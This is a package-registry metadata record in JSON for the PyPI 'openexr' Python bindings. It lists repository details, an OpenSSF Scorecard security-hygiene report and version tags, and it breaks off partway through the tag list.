{"id":2840011,"name":"openexr","ecosystem":"pypi","description":"Python bindings for the OpenEXR image file format","homepage":"https://openexr.com","licenses":"bsd-3-clause","normalized_licenses":["BSD-3-Clause"],"repository_url":"https://github.com/AcademySoftwareFoundation/OpenEXR","keywords_array":[],"namespace":null,"versions_count":55,"first_release_published_at":"2009-07-13T16:46:16.000Z","latest_release_published_at":"2026-10-03T04:23:07.000Z","latest_release_number":"3.5.2","latest_published_release_number":"3.5.2","last_synced_at":"2026-10-26T01:37:33.904Z","created_at":"2022-04-10T11:56:59.561Z","updated_at":"2026-10-26T01:37:33.904Z","registry_url":"https://pypi.org/project/openexr/","install_command":"pip install openexr --index-url https://pypi.org/simple","documentation_url":"https://openexr.readthedocs.io/","metadata":{"funding":null,"documentation":null,"classifiers":[],"normalized_name":"openexr","project_status":null},"repo_metadata":{"id":2554716,"uuid":"3533348","full_name":"AcademySoftwareFoundation/openexr","owner":"AcademySoftwareFoundation","description":"The OpenEXR project provides the specification and reference implementation of the EXR file format, the professional-grade image storage format of the motion picture industry.","archived":false,"fork":false,"pushed_at":"2026-10-25T23:42:09.000Z","size":67067,"stargazers_count":1871,"open_issues_count":71,"forks_count":709,"subscribers_count":126,"default_branch":"main","last_synced_at":"2026-10-26T01:20:09.867Z","etag":null,"topics":["academy","hdr","image-processing","images","openexr","vfx"],"latest_commit_sha":null,"homepage":"http://www.openexr.com/","language":"C","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"bsd-3-clause","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/AcademySoftwareFoundation.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGES.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE.md","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":"CODEOWNERS","security":"SECURITY.md","accessibility":null,"support":null,"governance":"GOVERNANCE.md","roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null}},"created_at":"2012-02-24T06:30:00.000Z","updated_at":"2026-10-25T23:33:20.000Z","dependencies_parsed_at":"2026-10-18T10:06:51.928Z","dependency_job_id":null,"html_url":"https://github.com/AcademySoftwareFoundation/openexr","commit_stats":{"total_commits":2546,"total_committers":145,"mean_commits":17.55862068965517,"dds":0.8095051060487038,"last_synced_commit":"a393987ababae7e1019ba3d62c49933b6dbde11c"},"previous_names":["openexr/openexr"],"tags_count":227,"template":false,"template_full_name":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/AcademySoftwareFoundation","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/sbom","scorecard":{"id":8082,"data":{"date":"2025-08-13T18:14:26Z","repo":{"name":"github.com/AcademySoftwareFoundation/openexr","commit":"ed0160fa39d78f72d8aab3e505f80f1b174b826c"},"scorecard":{"version":"v5.0.0","commit":"ea7e27ed41b76ab879c862fa0ca4cc9c61764ee4"},"score":7.8,"checks":[{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/ea7e27ed41b76ab879c862fa0ca4cc9c61764ee4/docs/checks.md#binary-artifacts"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/ea7e27ed41b76ab879c862fa0ca4cc9c61764ee4/docs/checks.md#branch-protection"}},{"name":"CI-Tests","score":9,"reason":"27 out of 30 merged PRs checked by a CI test -- score normalized to 9","details":null,"documentation":{"short":"Determines if the project runs tests before pull requests are merged.","url":"https://github.com/ossf/scorecard/blob/ea7e27ed41b76ab879c862fa0ca4cc9c61764ee4/docs/checks.md#ci-tests"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/ea7e27ed41b76ab879c862fa0ca4cc9c61764ee4/docs/checks.md#cii-best-practices"}},{"name":"Code-Review","score":5,"reason":"Found 17/29 approved changesets -- score normalized to 5","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/ea7e27ed41b76ab879c862fa0ca4cc9c61764ee4/docs/checks.md#code-review"}},{"name":"Contributors","score":10,"reason":"project has 32 contributing companies or organizations","details":["Info: DotNetAnalyzers contributor org/company found, AcademySoftwareFoundation contributor org/company found, industrial light \u0026 magic contributor org/company found, epic games contributor org/company found, PixarAnimationStudios contributor org/company found, pixar animation studios contributor org/company found, rpmfusion contributor org/company found, codex-digital contributor org/company found, rmagick contributor org/company found, vitasit contributor org/company found, linux foundation contributor org/company found, soochow university contributor org/company found, Microsoft-MVP contributor org/company found, LabSound contributor org/company found, lucasfilm contributor org/company found, synaesthetic contributor org/company found, imageworks contributor org/company found, rpmfusion-infra contributor org/company found, ImageMagick contributor org/company found, wetadigital contributor org/company found, OpenTimelineIO contributor org/company found, lilliputian pictures contributor org/company found, fnord software contributor org/company found, SixLabors contributor org/company found, dartmouth college contributor org/company found, openexr contributor org/company found, openmainframeproject contributor org/company found, sony pictures imageworks contributor org/company found, djv contributor org/company found, cs87-dartmouth contributor org/company found, vfxpro99 contributor org/company found, nvidia contributor org/company found, "],"documentation":{"short":"Determines if the project has a set of contributors from multiple organizations (e.g., companies).","url":"https://github.com/ossf/scorecard/blob/ea7e27ed41b76ab879c862fa0ca4cc9c61764ee4/docs/checks.md#contributors"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/ea7e27ed41b76ab879c862fa0ca4cc9c61764ee4/docs/checks.md#dangerous-workflow"}},{"name":"Dependency-Update-Tool","score":10,"reason":"update tool detected","details":["Info: detected update tool: Dependabot: .github/dependabot.yml:1"],"documentation":{"short":"Determines if the project uses a dependency update tool.","url":"https://github.com/ossf/scorecard/blob/ea7e27ed41b76ab879c862fa0ca4cc9c61764ee4/docs/checks.md#dependency-update-tool"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/ea7e27ed41b76ab879c862fa0ca4cc9c61764ee4/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.md:0","Info: FSF or OSI recognized license: BSD 3-Clause \"New\" or \"Revised\" License: LICENSE.md:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/ea7e27ed41b76ab879c862fa0ca4cc9c61764ee4/docs/checks.md#license"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 7 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/ea7e27ed41b76ab879c862fa0ca4cc9c61764ee4/docs/checks.md#maintained"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/python-wheels-publish-test.yml:84"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/ea7e27ed41b76ab879c862fa0ca4cc9c61764ee4/docs/checks.md#packaging"}},{"name":"Pinned-Dependencies","score":7,"reason":"dependency not pinned by hash detected -- score normalized to 7","details":["Info: Possibly incomplete results: error parsing shell code: \u003e must be followed by a word: website/src/exrreader/build.sh:0","Info: Possibly incomplete results: error parsing shell code: \u003e must be followed by a word: website/src/exrwriter/build.sh:0","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/AcademySoftwareFoundation/openexr/codeql.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ossfuzz_workflow.yml:51: update your workflow using https://app.stepsecurity.io/secureworkflow/AcademySoftwareFoundation/openexr/ossfuzz_workflow.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/python-wheels-publish-test.yml:61: update your workflow using https://app.stepsecurity.io/secureworkflow/AcademySoftwareFoundation/openexr/python-wheels-publish-test.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/python-wheels-publish-test.yml:77: update your workflow using https://app.stepsecurity.io/secureworkflow/AcademySoftwareFoundation/openexr/python-wheels-publish-test.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/python-wheels-publish.yml:55: update your workflow using https://app.stepsecurity.io/secureworkflow/AcademySoftwareFoundation/openexr/python-wheels-publish.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/python-wheels-publish.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/AcademySoftwareFoundation/openexr/python-wheels-publish.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/python-wheels.yml:76: update your workflow using https://app.stepsecurity.io/secureworkflow/AcademySoftwareFoundation/openexr/python-wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/python-wheels.yml:89: update your workflow using https://app.stepsecurity.io/secureworkflow/AcademySoftwareFoundation/openexr/python-wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/scorecard.yml:46: update your workflow using https://app.stepsecurity.io/secureworkflow/AcademySoftwareFoundation/openexr/scorecard.yml/main?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/website.yml:67","Info:  37 out of  43 GitHub-owned GitHubAction dependencies pinned","Info:  11 out of  14 third-party GitHubAction dependencies pinned","Info:   0 out of   1 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/ea7e27ed41b76ab879c862fa0ca4cc9c61764ee4/docs/checks.md#pinned-dependencies"}},{"name":"SAST","score":10,"reason":"SAST tool detected","details":["Info: SAST configuration detected: CodeQL","Info: SAST configuration detected: Snyk","Warn: 27 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/ea7e27ed41b76ab879c862fa0ca4cc9c61764ee4/docs/checks.md#sast"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/ea7e27ed41b76ab879c862fa0ca4cc9c61764ee4/docs/checks.md#security-policy"}},{"name":"Signed-Releases","score":0,"reason":"Project has not signed or included provenance with any releases.","details":["Warn: release artifact v3.3.5 not signed: https://api.github.com/repos/AcademySoftwareFoundation/openexr/releases/235390531","Warn: release artifact v3.3.4 not signed: https://api.github.com/repos/AcademySoftwareFoundation/openexr/releases/223894369","Warn: release artifact v3.3.3 not signed: https://api.github.com/repos/AcademySoftwareFoundation/openexr/releases/207052016","Warn: release artifact v3.3.2 not signed: https://api.github.com/repos/AcademySoftwareFoundation/openexr/releases/184710096","Warn: release artifact v3.3.1 not signed: https://api.github.com/repos/AcademySoftwareFoundation/openexr/releases/178796961","Warn: release artifact v3.3.5 does not have provenance: https://api.github.com/repos/AcademySoftwareFoundation/openexr/releases/235390531","Warn: release artifact v3.3.4 does not have provenance: https://api.github.com/repos/AcademySoftwareFoundation/openexr/releases/223894369","Warn: release artifact v3.3.3 does not have provenance: https://api.github.com/repos/AcademySoftwareFoundation/openexr/releases/207052016","Warn: release artifact v3.3.2 does not have provenance: https://api.github.com/repos/AcademySoftwareFoundation/openexr/releases/184710096","Warn: release artifact v3.3.1 does not have provenance: https://api.github.com/repos/AcademySoftwareFoundation/openexr/releases/178796961"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/ea7e27ed41b76ab879c862fa0ca4cc9c61764ee4/docs/checks.md#signed-releases"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'actions' permission set to 'read': .github/workflows/codeql.yml:37","Info: jobLevel 'contents' permission set to 'read': .github/workflows/codeql.yml:38","Warn: jobLevel 'contents' permission set to 'write': .github/workflows/release-sign.yml:35","Info: topLevel 'contents' permission set to 'read': .github/workflows/analysis_workflow.yml:16","Info: topLevel 'contents' permission set to 'read': .github/workflows/bazel_build.yml:34","Warn: no topLevel permission defined: .github/workflows/ci_steps.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/ci_workflow.yml:44","Info: topLevel 'contents' permission set to 'read': .github/workflows/ci_workflow_old.yml:54","Warn: no topLevel permission defined: .github/workflows/codeql.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/ossfuzz_workflow.yml:30","Info: topLevel 'contents' permission set to 'read': .github/workflows/python-wheels-publish-test.yml:17","Info: topLevel 'contents' permission set to 'read': .github/workflows/python-wheels-publish.yml:13","Info: topLevel 'contents' permission set to 'read': .github/workflows/python-wheels.yml:40","Info: topLevel 'contents' permission set to 'read': .github/workflows/release-notice.yml:13","Info: topLevel 'contents' permission set to 'read': .github/workflows/release-sign.yml:25","Info: topLevel permissions set to 'read-all': .github/workflows/scorecard.yml:14","Info: topLevel 'contents' permission set to 'read': .github/workflows/snyk-scan-cron.yml:13","Info: topLevel 'contents' permission set to 'read': .github/workflows/website.yml:38"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/ea7e27ed41b76ab879c862fa0ca4cc9c61764ee4/docs/checks.md#token-permissions"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/ea7e27ed41b76ab879c862fa0ca4cc9c61764ee4/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-14T13:59:53.750Z","repository_id":2554716,"created_at":"2025-08-14T13:59:53.750Z","updated_at":"2025-08-14T13:59:53.750Z"},"funding_links":[],"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":345237552,"owners_count":38544844,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-10-03T21:59:58.778Z","status":"online","status_checked_at":"2026-10-25T02:00:07.705Z","response_time":58,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"AcademySoftwareFoundation","name":"Academy Software Foundation","uuid":"40807682","kind":"organization","description":"Home for technical activities hosted by the Academy Software Foundation (ASWF).","email":"info@aswf.io","website":"https://www.aswf.io/","location":null,"twitter":"AcademySwf","company":null,"icon_url":"https://avatars.githubusercontent.com/u/40807682?v=4","repositories_count":44,"last_synced_at":"2026-10-24T04:29:55.748Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/AcademySoftwareFoundation","funding_links":[],"total_stars":17534,"followers":1697,"following":0,"created_at":"2022-11-03T11:42:43.036Z","updated_at":"2026-10-24T04:29:55.766Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/AcademySoftwareFoundation","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/AcademySoftwareFoundation/repositories"},"tags":[{"name":"v3.5.2","sha":"69b2604fc76e370615438bdc8d2cd95b9349c12e","kind":"tag","published_at":"2026-10-03T03:35:06.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.5.2","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.5.2/manifests","release_url":null},{"name":"v3.5.2-rc","sha":"69b2604fc76e370615438bdc8d2cd95b9349c12e","kind":"tag","published_at":"2026-10-02T04:36:32.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.5.2-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.5.2-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.5.2-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.5.2-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.5.2-rc/manifests","release_url":null},{"name":"v3.4.16","sha":"37d012e2faa04dbf00ca169682ee1eb6d9e8603e","kind":"tag","published_at":"2026-10-01T14:36:48.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.4.16","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.4.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.16/manifests","release_url":null},{"name":"v3.5.1","sha":"490f4cb496ac1db9f675dae7bad689f676a8256f","kind":"tag","published_at":"2026-09-26T04:23:55.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.5.1","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.5.1/manifests","release_url":null},{"name":"v3.4.16-rc","sha":"37d012e2faa04dbf00ca169682ee1eb6d9e8603e","kind":"tag","published_at":"2026-09-26T03:55:23.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.4.16-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.16-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.4.16-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.16-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.16-rc/manifests","release_url":null},{"name":"v3.5.1-rc","sha":"30f69078631bfc5dabde6e960b0e5014dade8f99","kind":"tag","published_at":"2026-09-23T14:45:37.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.5.1-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.5.1-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.5.1-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.5.1-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.5.1-rc/manifests","release_url":null},{"name":"v3.5.0","sha":"5d838e01770cadb8f2a36c0d17018452fa7a3c0c","kind":"tag","published_at":"2026-09-22T02:31:17.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.5.0","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.5.0/manifests","release_url":null},{"name":"v3.5.0-rc2","sha":"e32fee3cc0848a2d2a8ae7bdb4df2a588abc92a5","kind":"tag","published_at":"2026-09-20T20:50:44.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.5.0-rc2","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.5.0-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.5.0-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.5.0-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.5.0-rc2/manifests","release_url":null},{"name":"v3.5.0-rc","sha":"5b438f2ef044bb3f94ae0be660a1e6473d16d5b2","kind":"tag","published_at":"2026-09-14T19:50:01.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.5.0-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.5.0-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.5.0-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.5.0-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.5.0-rc/manifests","release_url":null},{"name":"v3.4.15","sha":"e71cdd5d30a146dcb56c5e4c576d9e9d3c45f4fb","kind":"tag","published_at":"2026-08-21T21:47:10.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.4.15","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.4.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.15/manifests","release_url":null},{"name":"v3.3.14","sha":"fa916adb4f91f21829ebb20350dd6f6bf605f31b","kind":"tag","published_at":"2026-08-21T21:45:49.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.3.14","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.3.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.14/manifests","release_url":null},{"name":"v3.2.12","sha":"6ee160dbc8bc502ac44b86e0e047eb35e5efb750","kind":"tag","published_at":"2026-08-21T21:45:00.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.2.12","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.2.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.2.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.12/manifests","release_url":null},{"name":"v3.2.12-rc","sha":"6ee160dbc8bc502ac44b86e0e047eb35e5efb750","kind":"tag","published_at":"2026-08-19T02:57:41.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.2.12-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.2.12-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.2.12-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.12-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.12-rc/manifests","release_url":null},{"name":"v3.3.14-rc","sha":"fa916adb4f91f21829ebb20350dd6f6bf605f31b","kind":"tag","published_at":"2026-08-19T00:36:38.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.3.14-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.14-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.3.14-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.14-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.14-rc/manifests","release_url":null},{"name":"v3.4.15-rc","sha":"e71cdd5d30a146dcb56c5e4c576d9e9d3c45f4fb","kind":"tag","published_at":"2026-08-18T23:25:11.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.4.15-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.15-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.4.15-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.15-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.15-rc/manifests","release_url":null},{"name":"v3.4.14","sha":"777d231a179de1711d2a942810d9559216ab3f4c","kind":"tag","published_at":"2026-08-06T22:46:16.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.4.14","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.4.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.14/manifests","release_url":null},{"name":"v3.3.13","sha":"ca50a6bb1f64c4d53362e4b67aec33e67cb7d425","kind":"tag","published_at":"2026-08-06T21:27:17.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.3.13","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.3.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.13/manifests","release_url":null},{"name":"v3.2.11","sha":"ba4b1a